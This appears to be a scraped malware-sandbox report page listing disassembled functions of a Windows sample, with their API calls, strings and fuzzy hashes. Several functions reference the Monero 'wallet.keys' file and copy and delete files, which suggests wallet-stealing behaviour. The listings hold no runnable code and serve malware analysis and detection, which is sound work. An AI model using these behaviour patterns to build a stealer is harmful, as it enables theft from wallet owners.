Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: dbd0b0a4262c4863cd4de71cf4fba71252e5d75f138d32b44185943128500757
Instruction ID: 13318426046e7c032801c7e5607aa46436fc62f5381a320d65bd74592604eeee
Opcode Fuzzy Hash: dbd0b0a4262c4863cd4de71cf4fba71252e5d75f138d32b44185943128500757
Instruction Fuzzy Hash: CF118FB1A44309EFD704CB95DC89FBBFBBCEB44700F1081AAF605A7280EB7558448BA1

Function 00BD9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(013CE3E0,?,?,?,00BD140C,?,013CE3E0,00000000), ref: 00BD926C
lstrcpyn.KERNEL32(00E0AB88,013CE3E0,013CE3E0,?,00BD140C,?,013CE3E0), ref: 00BD9290
lstrlen.KERNEL32(?,?,00BD140C,?,013CE3E0), ref: 00BD92A7
wsprintfA.USER32 ref: 00BD92C7

Strings

%s%s, xrefs: 00BD92B5

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: bdab0ce51117fac07b0f0614afa425562d28f82bd75c15c6fb16486cad705cf6
Instruction ID: 43d70270baca50f68c4df0bae89bfe412998a9f2adfd68ba08dd358874289ea3
Opcode Fuzzy Hash: bdab0ce51117fac07b0f0614afa425562d28f82bd75c15c6fb16486cad705cf6
Instruction Fuzzy Hash: 31010C7550020CFFCB04DFECC988EAE7BB9EB44350F188158F909AB240C671AA84DB91

Function 00BC12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BC12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00BC12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00BC12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00BC12F5
RegCloseKey.ADVAPI32(?), ref: 00BC12FF

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 422e30fd2e578190378a361f54775bf2a721c663e0fb897981e565f69f82bbe5
Instruction ID: 68919327873eda5d3d06aba9fd956dd42e21cd9ff1a6dc5de50e216c07096426
Opcode Fuzzy Hash: 422e30fd2e578190378a361f54775bf2a721c663e0fb897981e565f69f82bbe5
Instruction Fuzzy Hash: BC011DB9A4030CBFDB04DFE5DC49FAEB7B8EB48701F048169FA05A7280D6719A458B61

Function 00BDC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 00BDC8EC
___crtLCMapStringA.LIBCMT ref: 00BDC90C
___crtLCMapStringA.LIBCMT ref: 00BDC931

Strings

, xrefs: 00BDC896

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 239dbc79da72f4df27df8ddf3bfe9837a5da7f47ea6dc7d24e78e1e1649b3a85
Instruction ID: a538c4378a45719f425a0d29082e23b35eb6504b3e482463bccae8e8d407518a
Opcode Fuzzy Hash: 239dbc79da72f4df27df8ddf3bfe9837a5da7f47ea6dc7d24e78e1e1649b3a85
Instruction Fuzzy Hash: B74105B150079D5EDB228B248D94FFBFFE89B45304F1444E9E9CA86282E2759A44DF60

Function 00BD6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00BD6663

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

ShellExecuteEx.SHELL32(0000003C), ref: 00BD6726
ExitProcess.KERNEL32 ref: 00BD6755

Strings

<, xrefs: 00BD66D9

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 40cc262e255cc264eb494755aece8f99343110874b178796ec3b4816a43056aa
Instruction ID: 38469fdf51ba33b1881846a8d2e6bb215782568e523da28c46e6cefb06827f60
Opcode Fuzzy Hash: 40cc262e255cc264eb494755aece8f99343110874b178796ec3b4816a43056aa
Instruction Fuzzy Hash: 82312FB1801218ABDB14EB50DC95FDDB7B8AF44300F40519AF20976291EF756B88CF6A

Function 00BD87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00BE0E28,00000000,?), ref: 00BD882F
RtlAllocateHeap.NTDLL(00000000), ref: 00BD8836
wsprintfA.USER32 ref: 00BD8850

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Strings

%dx%d, xrefs: 00BD8847

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: a8bc9711592e06e814efe04f65560d747c3bd93833305abd88ea6961105bd158
Instruction ID: 13ce8b28d5549c2fe0b4dbc2e0cbb9b3c34901607b7abb96f0c3fb690a01038b
Opcode Fuzzy Hash: a8bc9711592e06e814efe04f65560d747c3bd93833305abd88ea6961105bd158
Instruction Fuzzy Hash: 182172B1A40308AFDB04DF95DD49FAEBBB8FB48701F144159F605B7280D77A9940CBA1

Function 00BD8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00BD951E,00000000), ref: 00BD8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00BD8D62
wsprintfW.USER32 ref: 00BD8D78

Strings

%hs, xrefs: 00BD8D6F

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: e61f0a7bc8e4f8f82992ec727a738bc8aa29c6dd562cd418e7c8bc37f61412bd
Instruction ID: 5b7046516843ff007af777529b17ad98bf1403908a710f0386bfbee2004dd4d9
Opcode Fuzzy Hash: e61f0a7bc8e4f8f82992ec727a738bc8aa29c6dd562cd418e7c8bc37f61412bd
Instruction Fuzzy Hash: B3E08670A4030CBFC704DB95DC0DE5977B8EB04701F0441A4FD0997240DA725E449B62

Function 00BCA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

Part of subcall function 00BD8B60: GetSystemTime.KERNEL32(00BE0E1A,013CA5A0,00BE05AE,?,?,00BC13F9,?,0000001A,00BE0E1A,00000000,?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BD8B86

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BCA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00BCA3FF
lstrlen.KERNEL32(00000000), ref: 00BCA6BC

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

DeleteFileA.KERNEL32(00000000), ref: 00BCA743

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: dc596fab7794a28b57460ec7e31ee40eed650512a48969efc9271825794f8313
Instruction ID: ca315cdc6c0857ed61db68234729c3f77a08b666fbcf15e1399674c9d11bcc8b
Opcode Fuzzy Hash: dc596fab7794a28b57460ec7e31ee40eed650512a48969efc9271825794f8313
Instruction Fuzzy Hash: 82E10E728101589ADB04FBA4DC92EEEB3BCAF14300F5081AAF51772191FF356A4DDB66

Function 00BCD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

Part of subcall function 00BD8B60: GetSystemTime.KERNEL32(00BE0E1A,013CA5A0,00BE05AE,?,?,00BC13F9,?,0000001A,00BE0E1A,00000000,?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BD8B86

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BCD481
lstrlen.KERNEL32(00000000), ref: 00BCD698
lstrlen.KERNEL32(00000000), ref: 00BCD6AC
DeleteFileA.KERNEL32(00000000), ref: 00BCD72B

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 119ed57c61129b18dcb9d870c9313aeabfef647720c6836331ba868e6cd6e28a
Instruction ID: 16d9d82df0dfe7cd4bdb00e21b18b2078eff5211e335e3fe258573e034234cdc
Opcode Fuzzy Hash: 119ed57c61129b18dcb9d870c9313aeabfef647720c6836331ba868e6cd6e28a
Instruction Fuzzy Hash: 519134718101489BCB04FBA4DC92EEEB3B8AF14300F5041BAF50772291FF356A49DB66

Function 00BCD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

Part of subcall function 00BD8B60: GetSystemTime.KERNEL32(00BE0E1A,013CA5A0,00BE05AE,?,?,00BC13F9,?,0000001A,00BE0E1A,00000000,?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BD8B86

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BCD801
lstrlen.KERNEL32(00000000), ref: 00BCD99F
lstrlen.KERNEL32(00000000), ref: 00BCD9B3
DeleteFileA.KERNEL32(00000000), ref: 00BCDA32

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 6d7245e2d0ae766a260120bcee2fb986810055e8c514eb2e43b7363cde446425
Instruction ID: 0a23272325be08baf0aa5fce3b2718e4e937b6f169a94447d2fd2c720b54100a
Opcode Fuzzy Hash: 6d7245e2d0ae766a260120bcee2fb986810055e8c514eb2e43b7363cde446425
Instruction Fuzzy Hash: 388123718101089BCB04FBA4DC92EEEB3B8AF14300F5445AAF407B6291FF756A49DB66

Function 00BCF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

Part of subcall function 00BC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BC99EC
Part of subcall function 00BC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BC9A11
Part of subcall function 00BC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00BC9A31
Part of subcall function 00BC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00BC148F,00000000), ref: 00BC9A5A
Part of subcall function 00BC99C0: LocalFree.KERNEL32(00BC148F), ref: 00BC9A90
Part of subcall function 00BC99C0: CloseHandle.KERNEL32(000000FF), ref: 00BC9A9A

Part of subcall function 00BD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BD8E52

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

